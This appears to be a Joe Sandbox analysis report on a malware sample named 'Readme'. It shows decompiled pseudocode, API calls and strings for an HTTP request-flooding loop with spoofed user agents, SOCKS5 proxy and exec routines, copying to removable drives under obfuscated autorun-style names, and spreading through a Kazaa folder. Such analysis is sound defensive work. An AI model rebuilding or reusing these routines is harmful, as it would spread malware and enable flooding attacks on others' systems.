Opcode Fuzzy Hash: 224cabb6541a4449cfda70ae68bee2be7fcebbb5efeb781ad9319cfc72626951
Instruction Fuzzy Hash: FE31B1B44047409AC7107F368A8526E7EE89B4078DF01897FEC80676C2D73C8A59CB9F

Uniqueness

Uniqueness Score: -1.00%

Function 10001170 Relevance: 26.4, APIs: 6, Strings: 9, Instructions: 160
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E10001170(void* __eax) {
				void* _v20;
				short _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				char _v112;
				short _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				char _v192;
				int _v196;
				intOrPtr _v204;
				intOrPtr _v208;
				intOrPtr _v212;
				intOrPtr _v216;
				intOrPtr _v232;
				intOrPtr _v236;
				intOrPtr _v240;
				intOrPtr _v244;
				void* __ebx;
				char _t58;
				intOrPtr _t59;
				intOrPtr _t60;
				intOrPtr _t61;
				intOrPtr _t62;
				intOrPtr _t63;
				intOrPtr _t64;
				intOrPtr _t65;
				signed int _t68;
				intOrPtr _t71;
				void* _t72;
				signed char _t90;
				char _t93;
				intOrPtr _t94;
				intOrPtr _t95;
				intOrPtr _t96;
				intOrPtr _t97;
				intOrPtr _t98;
				intOrPtr _t99;
				intOrPtr _t100;
				void* _t105;
				void* _t107;
				signed int _t108;
				signed int _t114;
				void* _t118;
				signed int _t119;
				signed int _t124;
				signed int _t127;
				struct _IO_FILE* _t131;
				struct _IO_FILE* _t133;
				signed int* _t134;
				intOrPtr* _t135;
				intOrPtr* _t137;
				intOrPtr* _t138;
				signed int* _t139;

				_pop(_t130);
				_t131 = _t133;
				_push(_t107);
				_t134 = _t133 - 0xcc;
				if( *0x10006114 == 0) {
					_v112 = 0x41414141;
					_t58 = "-LIBGCCW32-EH-2-SJLJ-GTHR-MINGW32"; // 0x42494c2d
					_t127 =  &_v112;
					_v108 = 0x41414141;
					_v104 = 0x41414141;
					_v80 = _t58;
					_t59 = M10005250; // 0x57434347
					_v100 = 0x41414141;
					_v96 = 0x41414141;
					_v76 = _t59;
					_t60 = M10005254; // 0x452d3233
					_v92 = 0x41414141;
					_v88 = 0x41414141;
					_v72 = _t60;
					_t61 = M10005258; // 0x2d322d48
					_v84 = 0x41414141;
					_v68 = _t61;
					_t62 = M1000525C; // 0x4a4c4a53
					_v64 = _t62;
					_t63 = M10005260; // 0x4854472d
					_v60 = _t63;
					_t64 = M10005264; // 0x494d2d52
					_v56 = _t64;
					_t65 =  *0x10005268; // 0x3357474e
					_v52 = _t65;
					_v48 =  *0x1000526c & 0x0000ffff;
					 *_t134 = _t127;
					_t68 = FindAtomA(??) & 0x0000ffff;
					_t135 = _t134 - 4;
					_v196 = _t68;
					if(_t68 != 0) {
						L11:
						_t108 = E10003150(_t68, _t107);
					} else {
						 *_t135 = 0x3c;
						_t72 = malloc(??);
						_t108 = _t72;
						if(_t72 == 0) {
							abort();
							0;
							0;
							_t137 = _t135 - 0x18;
							_v232 = _v204;
							_v236 = _v208;
							_v240 = _v212;
							_v244 = _v216;
							 *_t137 =  *0x10008258 + 0x40;
							fprintf(??, ??);
							 *_t137 =  *0x10008258 + 0x40;
							fflush(_t131);
							abort();
							0;
							goto ( *0x10008244);
						}
						asm("cld");
						memset(_t72, _v196, 0xf << 2);
						_t138 = _t135 + 0xc;
						 *((intOrPtr*)(_t108 + 4)) = L100034E8;
						_t114 = 1;
						 *((intOrPtr*)(_t108 + 8)) = E10003140;
						 *_t108 = 0x3c;
						 *((intOrPtr*)(_t108 + 0x28)) = 0;
						 *((intOrPtr*)(_t108 + 0x14)) =  *0x10006034;
						 *((intOrPtr*)(_t108 + 0x18)) =  *0x10006038;
						 *((intOrPtr*)(_t108 + 0x1c)) =  *0x10004064;
						 *((intOrPtr*)(_t108 + 0x20)) =  *0x10004068;
						 *((intOrPtr*)(_t108 + 0x30)) = 0xffffffff;
						 *((intOrPtr*)(_t108 + 0x2c)) =  *0x10006044;
						 *((intOrPtr*)(_t108 + 0x38)) =  *0x10004070;
						_t118 = 0x1f;
						 *((intOrPtr*)(_t108 + 0x34)) =  *0x1000406c;
						do {
							_t90 = _t108 & _t114;
							asm("sbb eax, eax");
							_t114 = _t114 + _t114;
							 *((char*)(_t118 +  &_v192)) = (_t90 & 0x00000020) + 0x41;
							_t118 = _t118 - 1;
						} while (_t118 >= 0);
						_t93 = "-LIBGCCW32-EH-2-SJLJ-GTHR-MINGW32"; // 0x42494c2d
						_v160 = _t93;
						_t94 = M10005250; // 0x57434347
						_v156 = _t94;
						_t95 = M10005254; // 0x452d3233
						_v152 = _t95;
						_t96 = M10005258; // 0x2d322d48
						_v148 = _t96;
						_t97 = M1000525C; // 0x4a4c4a53
						_v144 = _t97;
						_t98 = M10005260; // 0x4854472d
						_v140 = _t98;
						_t99 = M10005264; // 0x494d2d52
						_v136 = _t99;
						_t100 =  *0x10005268; // 0x3357474e
						_v132 = _t100;
						_v128 =  *0x1000526c & 0x0000ffff;
						 *_t138 =  &_v192;
						_t124 = AddAtomA(??) & 0x0000ffff;
						_t139 = _t138 - 4;
						if(_t124 != 0) {
							_t105 = E10003150(_t124, _t108);
							_t119 = _t124;
							if(_t105 != _t108) {
								goto L8;
							} else {
								goto L9;
							}
							goto L18;
						} else {
							L8:
							_t119 = 0;
						}
						L9:
						if(_t119 == 0) {
							 *_t139 = _t108;
							L10003498();
							 *_t139 = _t127;
							_t68 = FindAtomA(??) & 0x0000ffff;
							goto L11;
						}
					}
					 *0x10006114 = _t108;
					_t46 = _t108 + 4; // 0x4
					 *0x10006104 = _t46;
					_t47 = _t108 + 8; // 0x8
					_t71 = _t47;
					 *0x10006124 = _t71;
					return _t71;
				} else {
					return __eax;
				}
				L18:
			}

0x10001173
0x100031f1
0x100031f5
0x100031f6
0x10003204
0x1000320e
0x10003215
0x1000321a
0x1000321d
0x10003224
0x1000322b
0x1000322e
0x10003233
0x1000323a
0x10003241
0x10003244
0x10003249
0x10003250
0x10003257
0x1000325a
0x1000325f
0x10003266
0x10003269
0x1000326e
0x10003271
0x10003276
0x10003279
0x1000327e
0x10003281
0x10003286
0x10003290
0x10003294
0x1000329d
0x100032a0
0x100032a5
0x100032ab
0x100033ec
0x100033f1
0x100032b1
0x100032b1
0x100032b8
0x100032bf
0x100032c1
0x10003420
0x1000342b
0x1000342f
0x10003433
0x10003439
0x10003440
0x10003447
0x1000344e
0x1000345a
0x1000345d
0x1000346a
0x1000346d
0x10003472
0x1000347d
0x10003480
0x10003480
0x100032c7
0x100032d5
0x100032d5
0x100032d7
0x100032de
0x100032e3
0x100032ef
0x100032fb
0x10003302
0x1000330a
0x10003313
0x1000331b
0x1000331e
0x10003325
0x10003333
0x10003336
0x1000333b
0x10003340
0x10003342
0x10003347
0x1000334b
0x1000334f
0x10003356
0x10003356
0x10003359
0x1000335e
0x10003364
0x10003369
0x1000336f
0x10003374
0x1000337a
0x1000337f
0x10003385
0x1000338a
0x10003390
0x10003395
0x1000339b
0x100033a0
0x100033a3
0x100033a8
0x100033b2
0x100033bc
0x100033c5
0x100033c8
0x100033cd
0x10003413
0x1000341a
0x1000341c
0x00000000
0x1000341e
0x00000000
0x1000341e
0x00000000
0x100033cf
0x100033cf
0x100033cf
0x100033cf
0x100033d1
0x100033d3
0x100033d5
0x100033d8
0x100033dd
0x100033e9
0x00000000
0x100033e9
0x100033d3
0x100033f3
0x100033f9
0x100033fc
0x10003401
0x10003401
0x10003404
0x10003410
0x10003206
0x1000320d
0x1000320d
0x00000000

APIs

FindAtomA.KERNEL32 ref: 10003297
malloc.MSVCRT ref: 100032B8
AddAtomA.KERNEL32 ref: 100033BF

Strings

AAAA, xrefs: 10003233
AAAA, xrefs: 10003249
AAAA, xrefs: 1000321D
-LIBGCCW32-EH-2-SJLJ-GTHR-MINGW32, xrefs: 10003215, 10003359
AAAA, xrefs: 10003224
AAAA, xrefs: 1000320E
AAAA, xrefs: 10003250
AAAA, xrefs: 1000325F
AAAA, xrefs: 1000323A

Memory Dump Source

Source File: 00000000.00000002.304069235.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.304063881.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304076424.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304082187.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304097063.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304103368.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304113880.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Readme.jbxd

Similarity

API ID: Atom$Findmalloc
String ID: -LIBGCCW32-EH-2-SJLJ-GTHR-MINGW32$AAAA$AAAA$AAAA$AAAA$AAAA$AAAA$AAAA$AAAA
API String ID: 822928543-4229226183
Opcode ID: 1cde5f556251f28f7a5f3583a1219a429abfe4cc9823d3c67868c7c8279f6633
Instruction ID: 71f7b58b7c901956c89d88a69398e3d4065bf1f5cfcf73eda586495b1d2063c5
Opcode Fuzzy Hash: 1cde5f556251f28f7a5f3583a1219a429abfe4cc9823d3c67868c7c8279f6633
Instruction Fuzzy Hash: B36137B4A00324CFEB51CF68C9C469ABBF4FB49391F15816AE948EB319E731A944CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00406A48 Relevance: 24.6, APIs: 4, Strings: 10, Instructions: 82
sleepnetworkCOMMON

Download Yara Rule

C-Code - Quality: 27%

			E00406A48(void* __eflags, intOrPtr* _a4) {
				void* _v16;
				char _v1052;
				intOrPtr _v1068;
				intOrPtr _v1072;
				intOrPtr _v1076;
				intOrPtr _v1080;
				intOrPtr _v1084;
				char* _v1100;
				char* _v1104;
				char* _v1108;
				char* _v1112;
				char* _v1116;
				char* _v1120;
				char* _v1124;
				char* _v1128;
				char* _v1132;
				intOrPtr _v1144;
				intOrPtr _v1148;
				intOrPtr _v1152;
				char _v1156;
				char* _v1160;
				void* __ebx;
				signed int _t39;
				char _t45;
				intOrPtr* _t49;
				char _t50;
				intOrPtr _t51;
				char _t63;
				char _t64;
				void* _t65;
				void* _t66;
				intOrPtr* _t67;
				intOrPtr* _t69;
				intOrPtr* _t70;

				_t67 = _t66 - 0x47c;
				_t49 = _a4;
				_v1132 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)";
				_v1128 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon)";
				_v1124 = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729)";
				_v1120 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)";
				_v1116 = "Opera/9.64 (Windows NT 5.1; U; ru) Presto/2.1.1";
				_v1112 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)";
				_v1108 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;)";
				_v1104 = "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)";
				_v1100 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)";
				 *_t67 = 9;
				_t39 = E00404EAE();
				_t51 =  *_t49;
				_v1084 = _t51;
				_t63 =  *((intOrPtr*)(_t49 + 4));
				_v1080 = _t63;
				_v1076 =  *((intOrPtr*)(_t49 + 8));
				_v1072 =  *((intOrPtr*)(_t49 + 0xc));
				_v1068 =  *((intOrPtr*)(_t49 + 0x10));
				_v1148 = _t51;
				_v1152 =  *((intOrPtr*)(_t65 + _t39 * 4 - 0x468));
				_v1156 = _t63;
				_v1160 = "GET %s HTTP/1.1\r\nConnection: Keep-Alive\r\nUser-Agent: %s\r\nHost: %s\r\nAccept: */*\r\n";
				_t50 =  &_v1052;
				 *_t67 = _t50;
				wsprintfA(??, ??);
				asm("cld");
				asm("repne scasb");
				 *((short*)(0xffffffff + _t50)) = 0xa0d;
				 *((char*)(0xbadbac + _t50 + 2)) = 0;
				_t64 = _t50;
				while(1) {
					_t45 = E00405434(_v1084, _t50, _v1084, _v1076);
					_t50 = _t45;
					if(_t45 == 0xffffffff) {
						break;
					}
					asm("cld");
					asm("repne scasb");
					_v1144 = 0;
					_v1148 = 0xbadbac;
					_v1152 = _t64;
					_v1156 = _t50;
					L004086B0();
					_t69 = _t67 - 0x10;
					 *_t69 = _t50;
					L004086C0();
					_t70 = _t69 - 4;
					 *_t70 = _v1068;
					Sleep(??);
					_t67 = _t70 - 4;
				}
				return 0;
			}

0x00406a4e
0x00406a54
0x00406a57
0x00406a61
0x00406a6b
0x00406a75
0x00406a7f
0x00406a89
0x00406a93
0x00406a9d
0x00406aa7
0x00406ab1
0x00406ab8
0x00406abd
0x00406abf
0x00406ac5
0x00406ac8
0x00406ad1
0x00406ada
0x00406ae3
0x00406ae9
0x00406af4
0x00406af8
0x00406afc
0x00406b04
0x00406b0a
0x00406b0d
0x00406b14
0x00406b1c
0x00406b21
0x00406b27
0x00406b2c
0x00406b2e
0x00406b41
0x00406b46
0x00406b4b
0x00000000
0x00000000
0x00406b4f
0x00406b57
0x00406b5c
0x00406b64
0x00406b68
0x00406b6c
0x00406b6f
0x00406b74
0x00406b77
0x00406b7a
0x00406b7f
0x00406b88
0x00406b8b
0x00406b90
0x00406b90
0x00406ba1

APIs

Part of subcall function 00404EAE: GetTickCount.KERNEL32 ref: 00404EB8
Part of subcall function 00404EAE: srand.MSVCRT ref: 00404EC0
Part of subcall function 00404EAE: rand.MSVCRT ref: 00404EC5

wsprintfA.USER32 ref: 00406B0D

Part of subcall function 00405434: WSASocketA.WS2_32 ref: 0040546A
Part of subcall function 00405434: htons.WS2_32 ref: 00405485
Part of subcall function 00405434: WSAConnect.WS2_32 ref: 004054D7

send.WS2_32 ref: 00406B6F
closesocket.WS2_32 ref: 00406B7A
Sleep.KERNEL32 ref: 00406B8B

Strings

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322), xrefs: 00406A75
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1), xrefs: 00406A89
Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729), xrefs: 00406A6B
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;), xrefs: 00406A93
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1), xrefs: 00406A57
Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0), xrefs: 00406A9D
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon), xrefs: 00406A61
Opera/9.64 (Windows NT 5.1; U; ru) Presto/2.1.1, xrefs: 00406A7F
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0), xrefs: 00406AA7
GET %s HTTP/1.1Connection: Keep-AliveUser-Agent: %sHost: %sAccept: */*, xrefs: 00406AFC

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: ConnectCountSleepSocketTickclosesockethtonsrandsendsrandwsprintf
String ID: GET %s HTTP/1.1Connection: Keep-AliveUser-Agent: %sHost: %sAccept: */*$Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)$Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon)$Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)$Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)$Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;)$Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)$Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)$Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729)$Opera/9.64 (Windows NT 5.1; U; ru) Presto/2.1.1
API String ID: 336679807-801071570
Opcode ID: c83cad52eaf153bfa2597a7668835f7560a72396ad6db5fc3469acb45590c5f7
Instruction ID: 5cdc0710ae53c098c5dd65590a42bc470b49e3f5e350015ac0ed1cf0fb49e237
Opcode Fuzzy Hash: c83cad52eaf153bfa2597a7668835f7560a72396ad6db5fc3469acb45590c5f7
Instruction Fuzzy Hash: D83141F49047148BCB20DF29C58428DBBF0EF85314F1085AEE558AB392D7789A95CF5E

Uniqueness

Uniqueness Score: -1.00%

Function 100017DF Relevance: 24.2, APIs: 16, Instructions: 163
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E100017DF(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4, char* _a8, void* _a12, intOrPtr _a16, void* _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v24;
				void* _v44;
				void* _v45;
				void* _v68;
				void* _v72;
				void* _v76;
				void* _t61;
				void* _t62;
				char* _t97;
				void* _t99;
				intOrPtr _t103;
				intOrPtr _t106;

				_v16 = __ebx;
				_v12 = __esi;
				_v8 = __edi;
				_t106 = _a4;
				_t97 = _a8;
				_t103 = _a16;
				_t62 = E1000128D(_t61, _t106, _t97, 4);
				_t99 = 0;
				if(_t62 == 0 ||  *_t97 == 5 &&  *((char*)(_t97 + 2)) == 0) {
					L31:
					return _t99;
				} else {
					goto L31;
				}
			}

0x100017e5
0x100017e8
0x100017eb
0x100017ee
0x100017f1
0x100017f4
0x10001806
0x1000180b
0x10001812
0x10001a4c
0x10001a5a
0x00000000
0x00000000
0x00000000

APIs

sread.SHERVANS ref: 10001806
socks5_exec.SHERVANS ref: 10001863

Part of subcall function 1000157E: GetTempPathA.KERNEL32 ref: 1000159B
Part of subcall function 1000157E: GetTempFileNameA.KERNEL32 ref: 100015C0
Part of subcall function 1000157E: CreateFileA.KERNEL32 ref: 100015FB
Part of subcall function 1000157E: closesocket.WS2_32 ref: 100017BA
Part of subcall function 1000157E: DeleteFileA.KERNEL32 ref: 100017CF

sread.SHERVANS ref: 100019B7
sread.SHERVANS ref: 100019D2
swrite.SHERVANS ref: 100019ED
swrite.SHERVANS ref: 10001A05
swrite.SHERVANS ref: 10001A20
sread.SHERVANS ref: 10001A45

Memory Dump Source

Source File: 00000000.00000002.304069235.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.304063881.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304076424.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304082187.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304097063.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304103368.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304113880.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Readme.jbxd

Similarity

API ID: sread$Fileswrite$Temp$CreateDeleteNamePathclosesocketsocks5_exec
String ID:
API String ID: 1579704005-0
Opcode ID: 1361eb1be249255d460c70edfd148e1c9b89b3f8427c69b145975216a9914cb7
Instruction ID: 5eecf2eb680c679f1e884437c8fbeb8378991082b1e0f8ebcdaa05e3154df527
Opcode Fuzzy Hash: 1361eb1be249255d460c70edfd148e1c9b89b3f8427c69b145975216a9914cb7
Instruction Fuzzy Hash: EC6119B4A0A7459BF741DF64C08039EBBE0EF89290F11881DE888D7359DB74DA85CB97

Uniqueness

Uniqueness Score: -1.00%

Function 004068A0 Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 81
stringsleepfileCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E004068A0() {
				void* _v16;
				char _v188;
				char _v220;
				char _v348;
				char _v349;
				char _v380;
				void _v476;
				intOrPtr _v484;
				int _v488;
				void* _v492;
				int _t40;
				CHAR* _t42;
				void* _t47;
				signed int _t49;
				void* _t50;
				void* _t51;
				void* _t52;
				void* _t53;
				void* _t54;
				void** _t55;
				intOrPtr* _t56;

				memcpy( &_v476, 0x40d460, 0x60);
				E00404C38( &_v380, "nhgbeha.vas");
				_v488 = "fngbeanf.qyy";
				_t47 =  &_v220;
				_v492 = _t47;
				E00404C38();
				_v484 = _t47;
				_v488 = 0x96;
				_v492 =  &_v188;
				E00404620();
				if(E00404ED6( &_v188) != 0) {
					_t50 =  &_v348;
					while(1) {
						Sleep(0x1770);
						_t54 = _t53 - 4;
						_t49 = 0;
						do {
							_t40 = GetDriveTypeA( *(_t52 + _t49 * 4 - 0x1d8));
							_t54 = _t54 - 4;
							if(_t40 == 2) {
								_t51 =  &_v348;
								memset(_t51, 0, 0x78);
								_t42 =  *(_t52 + _t49 * 4 - 0x1d8);
								_v488 = _t42;
								_v492 = _t51;
								L0040C208();
								_v492 = _t51;
								L0040C310();
								_t55 = _t54 - 4;
								if(_t42[(char*)( &_v349)] != 0x5c) {
									_v492 = 0x412935;
									 *_t55 = _t51;
									L0040C328();
									_t55 = _t55 - 8;
								}
								_v492 =  &_v380;
								 *_t55 = _t50;
								L0040C208();
								 *_t55 = 1;
								SetErrorMode(??);
								_t56 = _t55 - 4;
								_v488 = 0;
								_v492 = _t50;
								 *_t56 =  &_v188;
								CopyFileA(??, ??, ??);
								_t54 = _t56 - 0xc;
							}
							_t49 = 1 + _t49;
						} while (_t49 <= 0x17);
					}
				}
				return 0;
			}

0x004068c5
0x004068db
0x004068e0
0x004068e8
0x004068ee
0x004068f1
0x004068f6
0x004068fa
0x00406908
0x0040690b
0x0040691a
0x00406920
0x00406926
0x0040692d
0x00406932
0x00406935
0x0040693a
0x00406944
0x00406949
0x0040694f
0x00406955
0x0040696e
0x00406973
0x0040697a
0x0040697e
0x00406981
0x00406986
0x00406989
0x0040698e
0x00406999
0x0040699b
0x004069a3
0x004069a6
0x004069ab
0x004069ab
0x004069b4
0x004069b8
0x004069bb
0x004069c0
0x004069c7
0x004069cc
0x004069cf
0x004069d7
0x004069e1
0x004069e4
0x004069e9
0x004069e9
0x004069ec
0x004069ed
0x004069f6
0x00406926
0x00406a07

APIs

memcpy.MSVCRT ref: 004068C5

Part of subcall function 00404620: memset.MSVCRT ref: 0040463D
Part of subcall function 00404620: GetSystemDirectoryA.KERNEL32 ref: 00404649
Part of subcall function 00404620: lstrlen.KERNEL32 ref: 00404654
Part of subcall function 00404620: lstrcat.KERNEL32 ref: 0040466E
Part of subcall function 00404620: lstrcat.KERNEL32 ref: 00404680

Part of subcall function 00404ED6: fopen.MSVCRT ref: 00404EEA
Part of subcall function 00404ED6: fclose.MSVCRT ref: 00404EFB

Sleep.KERNEL32 ref: 0040692D
GetDriveTypeA.KERNEL32 ref: 00406944
memset.MSVCRT ref: 0040696E
_mbscat.MSVCRT ref: 00406981
lstrlen.KERNEL32 ref: 00406989
lstrcat.KERNEL32 ref: 004069A6
_mbscat.MSVCRT ref: 004069BB
SetErrorMode.KERNEL32 ref: 004069C7
CopyFileA.KERNEL32 ref: 004069E4

Strings

x, xrefs: 0040695B
nhgbeha.vas, xrefs: 004068CA
fngbeanf.qyy, xrefs: 004068E0

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: lstrcat$_mbscatlstrlenmemset$CopyDirectoryDriveErrorFileModeSleepSystemTypefclosefopenmemcpy
String ID: fngbeanf.qyy$nhgbeha.vas$x
API String ID: 1674407683-3747760128
Opcode ID: a781d3461717b306554f03ee67c14ce0aa3dc3647b02a65b4a03f677e82d5d21
Instruction ID: ef6cf4129608155cc112f4a97fe144a2978ba8a5c429c4c3aaf2c51783ef7b88
Opcode Fuzzy Hash: a781d3461717b306554f03ee67c14ce0aa3dc3647b02a65b4a03f677e82d5d21
Instruction Fuzzy Hash: 01313BB0808704DAD710BF65D58539EBBF4AF84318F41897EE8C867282D77C9598CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 00403390 Relevance: 21.2, APIs: 14, Instructions: 153fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 004033D2
GetFileSize.KERNEL32 ref: 00403409
CreateFileMappingA.KERNEL32 ref: 00403448
CloseHandle.KERNEL32 ref: 0040346E
MapViewOfFile.KERNEL32 ref: 004034A9
CloseHandle.KERNEL32 ref: 004034C0
CloseHandle.KERNEL32 ref: 004034D1

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: File$CloseHandle$Create$MappingSizeView
String ID:
API String ID: 3733816638-0
Opcode ID: 28ad9512942125c148e9156a3630da42204dd69e6c08cca65b9db14b0c4ba9a3
Instruction ID: 986d351c7ed07d29ba8de43e54e9a7d5c311c5fefbca7bada34d70547d36c5f0
Opcode Fuzzy Hash: 28ad9512942125c148e9156a3630da42204dd69e6c08cca65b9db14b0c4ba9a3
Instruction Fuzzy Hash: 0F513FB59043059BDB10AF25C99535EBFF4AF81348F1089AEE488673C1D779DA88CB87

Uniqueness

Uniqueness Score: -1.00%

Function 00405850 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 111stringregistryfileCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 004058F5
RegQueryValueExA.ADVAPI32 ref: 0040593C
RegCloseKey.ADVAPI32 ref: 00405955
lstrlen.KERNEL32 ref: 0040596D
lstrlen.KERNEL32 ref: 00405982
lstrlen.KERNEL32 ref: 0040599B
lstrcat.KERNEL32 ref: 004059B8
lstrcpy.KERNEL32 ref: 004059EC
lstrcat.KERNEL32 ref: 00405A02
CopyFileA.KERNEL32 ref: 00405A19

Strings

Fbsgjner\Xnmnn\Genafsre, xrefs: 0040586F
QyQve0, xrefs: 00405885

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

